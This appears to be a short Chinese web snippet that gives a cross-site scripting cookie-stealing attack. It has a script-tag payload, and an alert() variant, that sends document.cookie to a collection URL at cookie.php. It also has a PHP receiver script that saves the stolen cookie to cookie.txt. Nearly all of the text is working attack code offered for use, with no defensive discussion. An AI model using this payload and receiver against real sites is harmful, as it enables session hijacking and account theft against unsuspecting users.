js代码:
<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
或者alert(document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie)
服务端php代码:
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
网友评论